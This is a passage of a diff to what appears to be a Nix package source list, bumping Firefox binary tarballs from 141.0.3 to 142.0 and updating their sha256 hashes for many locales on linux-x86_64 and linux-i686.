+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/th/firefox-142.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "460dc2824d799ba7fc7962215dfbb64728cdcc1c9c4dbf37aed4f711193adf73";
+      sha256 = "912c0f1c6d1819597da3cb08c7c668db12051708bdadbd4539a1cc4f8a685b23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tl/firefox-142.0.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "f17e55bf0f527f25636997a2994ef5015dbe2efe652da21bf8de0c9082166b61";
+      sha256 = "971d7da5f1f42afa3511249e46d687bb71518c4538460f08c7b5c7069bee2d12";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/tr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tr/firefox-142.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "b2cccbd810fbff42ef813eed3bf4fa0d79bc6fc5e7bd0be8d6f988b5ded2b04d";
+      sha256 = "a63e0c5667c45f039416e445bb289030aa349be7796d196d31d6900c19628559";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/trs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/trs/firefox-142.0.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "7423e305071334bd4c3cdf0f042b282f69e69f77a251a27db788f6aa1143b87d";
+      sha256 = "ade9d7d1fabc7243e234e7569280b8aa31105a30cf029af889a73fbe990d236a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/uk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/uk/firefox-142.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "08b7faa09dd02b3cc0e18638c1c49334a002f681e0d568b33a8e77fb7df8ecc3";
+      sha256 = "8b0996b524fd6c1a1340a40fae0b5191017a644e9dc2568fad27c776c26010b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/ur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ur/firefox-142.0.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "e8df2fd0571ea3cfa0a2a214fb0aecc2dc0501dbf34f697ec2405a0d34ad0856";
+      sha256 = "9c5182b9b50c628f013fed8c41c386604b94387f6ac1f15fa15aff9b9ddb7683";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/uz/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/uz/firefox-142.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "43b31557610d0b1906a765f7ae5b9b6e10acd1080f3be5624b2f655bad5cea85";
+      sha256 = "327575842eeb0dea826665fc48bc60e397b44a9178cd9e9eb86cd64fc5581fbf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/vi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/vi/firefox-142.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "ec6b0ce219d1c8d484388bd4579c0cf38be2cf5384e02613412123e18f44f3cc";
+      sha256 = "31560864ac90a9c608add4e919a00d64a985a479a9064660003d22946eeb926b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/xh/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/xh/firefox-142.0.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "207a37f147b854c9a3ffd23df767b428a2f4ad1d9bb8de542ba56a0569293463";
+      sha256 = "78d7ef260cec395b672c65e71861df41935fa6c9184d8506e884b70a480a4e0a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/zh-CN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/zh-CN/firefox-142.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "c77dea8cec09985661c8b4270cffad80f315ac8fd31daf657a83485a48d9f48e";
+      sha256 = "8601948f17218d68119a858a5552cedf28b8fc3e65514f8ef944480c8b2e1798";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-x86_64/zh-TW/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/zh-TW/firefox-142.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "e68a2e2440c11c1c432a0cd3fa39c4a1e35283d15939e48aed3537d740019760";
+      sha256 = "214c61f3bc9852d3715f16788a7b976dada4fcdbbd359b186baf1ab0dd29ea83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ach/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ach/firefox-142.0.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "430afe73bec379064f9991b94c7601ce1a215abe9e77d0d3d3693393e59411c2";
+      sha256 = "fc4a7fea82160141623769017acf7e82925bdf6191987b186cc60ad486eb94e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/af/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/af/firefox-142.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "b1e4a9da21efb4dc1209c6dc3bf02697c529b359d20d38a0df7c0273499d8c32";
+      sha256 = "7748555d74c20e192648ac775433c283ca46f904bef896aaf1ef93a34c95cd04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/an/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/an/firefox-142.0.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "3d89974b36c94100b286ae574b3009924ac6c2d5ded3785c1b1d777a01436641";
+      sha256 = "f1a9e9ec99ef78884d0b6b3a85f3485f425931286d26679a54f17010719d530c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ar/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ar/firefox-142.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "35d29bb4f36b5ea18478db7a3d1682c04258d660dc86681f81e5e54922395863";
+      sha256 = "7e837f06373faa7d4a39d434fd65e2e17d8f998b6e78fb4e7243898183c91c8a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ast/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ast/firefox-142.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "54826a2feccbad02eb5ef4d6a7c9693fa808d7208eba65ba0ebc45044142d597";
+      sha256 = "106be6d64518e25efa5961d15c7c619f5418ef664cd2fe7c97ff6d5fe5bcfc75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/az/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/az/firefox-142.0.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "c5b2083cd46261cebfb95f25bf73c06372e82efa0ea311211d6bf5f0b07ee279";
+      sha256 = "54da322dd08e297a3497bdb8048e5ec6fe244da4857462ec5ee5eb302340b332";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/be/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/be/firefox-142.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "2d94ffa8fb7220859a320bd4032434e925fdd778184f52872f56526bcbdda6a1";
+      sha256 = "4bcdc953af64da3fb09654e4795e657232c38742d6200cf3d4f5fa77fd9fc59e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bg/firefox-142.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "cb61e1c0a88f92f11c4bd1b811a6b39a319ce95816ebe58c4e662ee50ff186cd";
+      sha256 = "eb78a42254ac0b191e8ddcf40d2dffd523f93c4706aaff94a8fd63dd6ebdd365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bn/firefox-142.0.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "029258a2a00b56c556750b569e3884b860e8b038f38727472f4cea91a43863ff";
+      sha256 = "9ed4b5005902e01475a749e50c42d2afe0f21398287ba6d49c57959e4cb02ccb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/br/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/br/firefox-142.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "1281010d16e1834487155bea138ca826b7dbfcb541252306b1984f995e449060";
+      sha256 = "6117a291d5c55068112baeb44c4698a8f32f78bce304da56eb102abe5272fe36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/bs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/bs/firefox-142.0.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "04b4ea9e36665de7fbb57652756703431d893e568a9e56a7482273cc436cec32";
+      sha256 = "dd9860fa8d705471e1000ff12924a9469702b4e1e0372f2a3ab0705ff36920d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ca-valencia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ca-valencia/firefox-142.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "8c83bc9b8983529f9e623fef98003848ccb15844530c95cd5f852be3eb87e307";
+      sha256 = "8a7ecd6ff52a20c3432a78666ed44a1981791d344e63973f4d09adedefd3a40e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ca/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ca/firefox-142.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "41de6dca478d45cf7fbb192e5c86be1589cfd817ed0b59ac5e8225906f5cede5";
+      sha256 = "9b226ef2047ea2a8674534d54200027b5bf74bc3107625cd3378c2693b0cc7f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cak/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cak/firefox-142.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "0dd7eb6969df8388a1a5ef09eefd3fa38854a46bfdfa0c61a7e499a84f335af2";
+      sha256 = "d1161e746acb0ad0c89eb0670c52763601dd262e4f86f6200f7f051ac50e5bc7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cs/firefox-142.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "c50b643127c85aed97d9ba2336df8003d7b2a209986b76cbaa42a2caefbb9c8b";
+      sha256 = "6418275502ac82476a71f0f5912a4a24f7990831d8c148e0b40f4382b8780c3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/cy/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/cy/firefox-142.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "27b32566217af2553eff27d770fee2a7cffae0b9c1b482d1adba9874653572ad";
+      sha256 = "5de9311ad00230b6a22b1944202d59b7e68fdf133e9eef909bb59f19e4e965b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/da/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/da/firefox-142.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "ad9dcdb91517b93e8f14bdb4da9d716c5015fc7f7b3ba4fe89b28bd768907eea";
+      sha256 = "652f0a30f840e64b22f6e2d8e127a814cf4c18180480cb0060c01db3ad3782a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/de/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/de/firefox-142.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "d2c586a4beb4d36571bbb24956835257a94f6f7b817b5199b96e05bba4642bfa";
+      sha256 = "8adf8e26555e92f87f858e0678428c873de00dabdceff1036b2a07f6f26677db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/dsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/dsb/firefox-142.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "3dc3de3d15a0396b29d79221f7c657c511da50b1c52fbf5d0d395af68c219793";
+      sha256 = "3c9f1cb357b7f46781c56ef5958f449f2219aace47dfe506a432bebc97ed4725";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/el/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/el/firefox-142.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "fa100a3b13faea853813d9f932dd0d235c94d70bd3532354b0f51df6bcc63855";
+      sha256 = "2ff6550045c8afaddd9b37e67dd847dd02619f899018ff2a1419e38cd02107aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-CA/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-CA/firefox-142.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "6ac6abda7b0f89daa5cd995f2d8cc12ee4356030cab564f5edd900ae01b0235f";
+      sha256 = "2db9da4480f9aaf00fc85cea135416dc361667beeb31568d533e8bc54a4d90b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-GB/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-GB/firefox-142.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "519cdd6f0b84d50e0c76bce2529ffa482fede20198f5e20f7ec738322759c086";
+      sha256 = "be6171cf13c7bb6a7b25bd393b995edef97f1141ab272cff1f5d9c630c4815cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/en-US/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/en-US/firefox-142.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "c25a2bccaf4834fffc9373a56b4325adbd2de93a3e16be148714e98b060ffb47";
+      sha256 = "35802f3583480eb1712169ccfa2d5071fa3c5cfbd67c99c61be2bda30724d001";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/eo/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/eo/firefox-142.0.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "3563a0f51f26ca176f4768a8371f072f00d1e9d4541a05ad548cdc59020da081";
+      sha256 = "69769f26fcf1cac74a7895182d3a6df80304d7617a73d639822a8c4b44012674";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-AR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-AR/firefox-142.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "b178b3c9b82918ef2a60e71034a5e2ebd8f02837e8644760398b13f5ad3ddce7";
+      sha256 = "647f3dca1c6471bdd2c6464ab0821e9e56e5576e728df6d27e081cbe82025a44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-CL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-CL/firefox-142.0.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "a75d85a4ce1688db409ff5715fb7de3fd976599bef192ed9b4601a63d1eb1329";
+      sha256 = "ec92d03b9f12210e51fb25d414d28bcd397a9caa9f39db6108b5bf90bd263ac7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-ES/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-ES/firefox-142.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "b580f83418fb8938d6aee9f7513fb79e12570789deab418e43d6ad40bd43cee6";
+      sha256 = "a0c22bc77e897cead51543556324d0b0312c9761633febb93050e9f654b27247";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/es-MX/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/es-MX/firefox-142.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "eacf0db15e324426bc68ab12a3699c2a1f3bb354523fc7ae4975989786bb29dd";
+      sha256 = "821293fa7b3bd2c72dab6a0eb52362dec18be7e572be8116a634c4519afca071";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/et/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/et/firefox-142.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "0126372b0ca3d832130ea86749ec97996350539c0ab9121f0356b3290e71ee9f";
+      sha256 = "4f94f792135e22d9af305a3b38cd610e72cc94f53bb2a1ec95705b2a758574a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/eu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/eu/firefox-142.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "e00604f526da6689248506b2e815c18a4867d08f944367d90d22ce82f2e3433f";
+      sha256 = "a8db4e2ea27b589779daa1638b647ec0f5e8414ff72cb36ec50ec026df2d6780";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fa/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fa/firefox-142.0.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "8537bd4650e8856a2b45f87cbd984a3d3612c9cc0863d7664a0d64121515929a";
+      sha256 = "0a5e806d9851a7b4495a038588d644d789c616d5435f58e48294aca62210de00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ff/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ff/firefox-142.0.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "a923380c701d00297a667aeb9f050fb93c650fa5d855a73b98af141eb5ce7061";
+      sha256 = "261fe54cdb117c324e312aa3f55e5788b2eb879d1c23b7f6935652b2f9a5f039";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fi/firefox-142.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "4f457ec29c0e4fd17efa639688f2c07deb648e3a3cda70ad888b05791e5d24bf";
+      sha256 = "bdc0a6e82ae82c2299305438638146c315d9df02af9170acd4bd84c3020d5385";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fr/firefox-142.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "88d55afcc9f798114aba4cd4dc704e30223253f057f1ffbdd13f4901818b2851";
+      sha256 = "bf9c258b2760f3e0b8b3ba83456ff3687a8e1bb82b9ecc47a652a80c45593221";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fur/firefox-142.0.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "f4d87d8d5a6200ba7edd3896f5b36e1eb51f97d155347cddd30c6438e5469655";
+      sha256 = "7f6265f93b325d3899104e8edd211ab4e51d83696576fed98edfae6accd73928";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/fy-NL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/fy-NL/firefox-142.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "70a871dbe5dd29906d0d319f27612ae869329a878e281881026536c4f64718d4";
+      sha256 = "ce94c4ee325b5195fbc9a867bbd01900518d678af12933e32acbd4896fe022d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ga-IE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ga-IE/firefox-142.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "4690f593af76a7c6be8c7ea146fdfbf64545aa2a4c641bde6e4dc45eece202da";
+      sha256 = "af635a399e0fef6fbb523926104f46a512b49d11e25dfbec6d0e92bb50f9a701";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gd/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gd/firefox-142.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "bc1e3e34ce83f4e71f49c0e33e85f2145dba4bc3f8210bc1ab839d6e7a377b56";
+      sha256 = "d6b292b7588403c0c636a2ff47b2e75dd5ad2a4bc9d93dd74c5ed4d8d21837a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gl/firefox-142.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "b154b62ee61194f46585cda915853d47c12aee25645d50417d171fa2e9601a19";
+      sha256 = "7a59997b9ce011c63a6736123decd47e74da6a145fd141731b06063c56beabd6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gn/firefox-142.0.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "6ab50dc644867074e308710706bad29f824702da4ef1ecaf72a6e75ec4fcb7c7";
+      sha256 = "89213a797f9089e8da9d4ab33122e6c0ba3943f2a96bbb3d04e5f5a44cdbb5ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/gu-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/gu-IN/firefox-142.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "68ee4b47d52a6412bfc5c0fbba871368fb6ea1d32020609e4fbb41c52f9d03c9";
+      sha256 = "71286d2324657e3525540d16b9f93be7da415a047ab6ea7aa28e7fb2cbcdf69c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/he/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/he/firefox-142.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "c2a8e6896a9a0255a554a80ce574846e3b52a100a718610e17b29b6a2173d104";
+      sha256 = "5c13f77fa08e5078bbac374f586fbe49618436aa640d4dc5b07d054b65dc7e04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hi-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hi-IN/firefox-142.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "9d7dd9aa634163cdcd137639aa62ab4d8762d52f9de2fd767e53ae395bbeabc8";
+      sha256 = "c2b3fa2f57abf0054eb3adadb2d41c29d299b1ed65711f9e7899e52c4fd8ac2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hr/firefox-142.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "1af3da92a14d37503be94b758663165f5581d9aedece04662bdc7dcc7bdd7ff6";
+      sha256 = "0fba59df56417aaf66d03a4c7ef0af8aec41a45d015799aaffafd81407d55299";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hsb/firefox-142.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "64b6bb6f9a79cff6ac16a274245440d554867f8e147dbc9bd780af671e92774a";
+      sha256 = "9b95e9dd3cb71651721246a04ef6410755787f1ca43efae61719f9a0d0dc6465";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hu/firefox-142.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "332b5049a77a2fda85677df4c21c9d785fd09df53e2975c8d501fa401dd8fa6d";
+      sha256 = "942c3e6d5eb3f7a33a2ddb9af33a744de5d70f7afafe6cefa78f7a50c8cbc365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/hy-AM/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/hy-AM/firefox-142.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "6510f66985d4ca96960a64dd56808a3f0b6d655c93cf9b7ca5d925ff3cf6c5ce";
+      sha256 = "c21f44ce2dc0da7b1484e665ad38b7c128ecbe1edacd68ffb66be46c437bee1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/ia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/ia/firefox-142.0.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "616f6855964f20c760d5c88ae375641769fd9f3c1819499de0557285d05245f1";
+      sha256 = "1e40421df269eb65028eb86a114263d67d9479a7e0011b89771871c312d8f474";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/id/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/id/firefox-142.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "2148705494600dfb0a054b84a108294dadd80b792b4bc066ea6b9a6fdec85ed8";
+      sha256 = "8bc79f1a52c4dc376c1b48e1c209ace4568747c1ae7e02a6ea970d1d45f12d91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-i686/is/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-i686/is/firefox-142.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "f5b0bf1b5abde821bf2d351aea172fbd70d03ea8f0108c8b4848a9c72ff74f69";
+      sha256 = "cc07b35e75e0fd84a9eedde937ea4f1589429f1519dcd16036ef526d99aa4e94";
     }
     {
